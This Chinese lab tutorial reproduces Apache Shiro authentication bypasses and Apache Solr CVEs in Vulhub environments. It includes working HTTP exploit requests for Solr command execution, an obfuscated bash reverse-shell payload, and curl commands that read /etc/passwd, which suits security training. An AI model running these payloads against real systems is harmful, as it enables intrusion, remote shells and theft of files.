第64天:服务攻防-框架安全&CVE复现&Apache Shiro&Apache Solr

目录

思维导图

[案例一:Apache Shiro-组件框架安全](#案例一:Apache Shiro-组件框架安全)

[shiro反序列化 cve_2016_4437](#shiro反序列化 cve_2016_4437)

CVE-2020-17523

CVE-2020-1957

[案例二:Apache Solr-组件框架安全](#案例二:Apache Solr-组件框架安全)

[远程命令执行 RCE(CVE-2017-12629)](#远程命令执行 RCE(CVE-2017-12629))

[任意文件读取 AND 命令执行(CVE-2019-17558)](#任意文件读取 AND 命令执行(CVE-2019-17558))

远程命令执行漏洞(CVE-2019-0193)

文件读取与SSRF漏洞


思维导图

案例一:Apache Shiro-组件框架安全

阿里云漏洞库: https://avd.aliyun.com/search?q=shiro

常见漏洞

Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】

Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】

Apache Shiro < 1.4.2 cookie oracle padding 漏洞 【CVE-2019-12442】

Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】

Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】

Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】

Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】

Apache Shiro 是一个强大且易用的 Java 安全框架,用于身份验证、授权、密码和会话管理

判断:大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段

shiro反序列化 cve_2016_4437

靶场环境:

反序列化可以直接利用工具

执行效果

命令执行

CVE-2020-17523

影响版本:Apache Shiro < 1.7.1

靶场环境: https://github.com/jweny/shiro-cve-2020-17523

搭建起来

访问/admin/xx会自动跳转到login,意思时不登陆不能访问

但是访问/admin/%20会自动绕过登录

查看版本的位置

CVE-2020-1957

影响范围:Apache Shiro < 1.5.3

靶场环境: https://vulhub.org/#/environments/shiro/CVE-2020-1957/

启动起来以后需要登录

访问admin时会自动跳转到login.html

Poc

复制代码
/xxx/..;/admin/

直接绕过登录限制,直接登录admin

案例二:Apache Solr-组件框架安全

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全文搜索服务器。

漏洞库: https://avd.aliyun.com/search?q=solr

常见漏洞

远程命令执行 RCE(CVE-2017-12629)

远程命令执行 XXE(CVE-2017-12629)

任意文件读取 AND 命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0192)

远程命令执行漏洞(CVE-2019-0193)

未授权上传漏洞(CVE-2020-13957)

Apache Solr SSRF (CVE-2021-27905)

远程命令执行 RCE(CVE-2017-12629)

solr一般都有这样的配置页面

访问抓包发送到repeater,设置一个listener

复制代码
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后设置包update,触发刚才的操作listener

复制代码
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

进入docker中查看

任意文件读取 AND 命令执行(CVE-2019-17558)

靶场环境: Vulhub - Docker-Compose file for vulnerability environment

脚本地址:https://github.com/jas502n/solr_rce

需要用python2执行,vulfocus上靶场可能有问题了,无法执行,执行效果如图
另一款交互式脚本

python 复制代码
https://github.com/zhzyker/exphub/blob/master/solr/cve-2019-17558_cmd.py

远程命令执行漏洞(CVE-2019-0193)

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

启动该环境除了正常步骤以外,还需要

python 复制代码
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db -force

影响版本:Apache Solr < 8.2.0 版本

该漏洞真实环境要利用一般得先登录

利用过程

创建文件

python 复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

把代码换成反弹shell的代码

python 复制代码
<dataConfig>
    <dataSource type="URLDataSource"/>
    <script><![CDATA[
        function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}");}
]]></script>
    <document>
    <entity name="stackoverflow"
        url="https://stackoverflow.com/feeds/tag/solr"
        processor="XPathEntityProcessor"
        forEach="/feed"
        transformer="script:poc" />
    </document>
</dataConfig>

开启监听 成功反弹shell

文件读取与SSRF漏洞

靶场位置:https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/

首先先获取数据库名

python 复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

获取数据库名

触发访问

python 复制代码
curl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
     $'http://your-ip:8983/solr/demo/config'

读取任意文件

python 复制代码
curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

可以利用ssrf探测内网做信息收集,这里用dnslog做简单的测试

相关推荐
触想工业平板电脑一体机9 分钟前
触想多功能工控机新品上市,兼顾算力、扩展、安全三重优势
安全
360智汇云2 小时前
HULK PostgreSQL 图数据库化方案:Apache AGE 的引入与实践
数据库·postgresql·apache
乾元2 小时前
10 个可复制的企业级项目:从需求到交付的 AI 网络工程模板(深度实战版)
运维·网络·人工智能·网络协议·安全
SelectDB技术团队2 小时前
驾驭 CPU 与编译器:Apache Doris 实现极致性能的底层逻辑
数据库·数据仓库·人工智能·sql·apache
小范馆2 小时前
解决 Windows 11 安装时提示 “不支持 TPM 2.0” 和 “不支持安全启动” 的问题
windows·安全
FreeBuf_3 小时前
沙虫病毒与供应链安全:软件供应链成为网络安全的阿喀琉斯之踵
安全·web安全
智驱力人工智能3 小时前
守护矿山动脉 矿山皮带跑偏AI识别系统的工程化实践与价值 皮带偏离检测 皮带状态异常检测 多模态皮带偏离监测系统
大数据·人工智能·opencv·算法·安全·yolo·边缘计算
❀͜͡傀儡师3 小时前
docker部署Apache Answer 一款高效问答平台
docker·容器·apache
智驱力人工智能3 小时前
构筑安全红线 发电站旋转设备停机合规监测的视觉分析技术与应用 旋转设备停机检测 旋转设备异常检测 设备停机AI行为建模
人工智能·opencv·算法·安全·目标检测·计算机视觉·边缘计算
上海云盾-高防顾问4 小时前
防CC攻击不止限速:智能指纹识别如何精准抵御恶意爬虫
爬虫·安全·web安全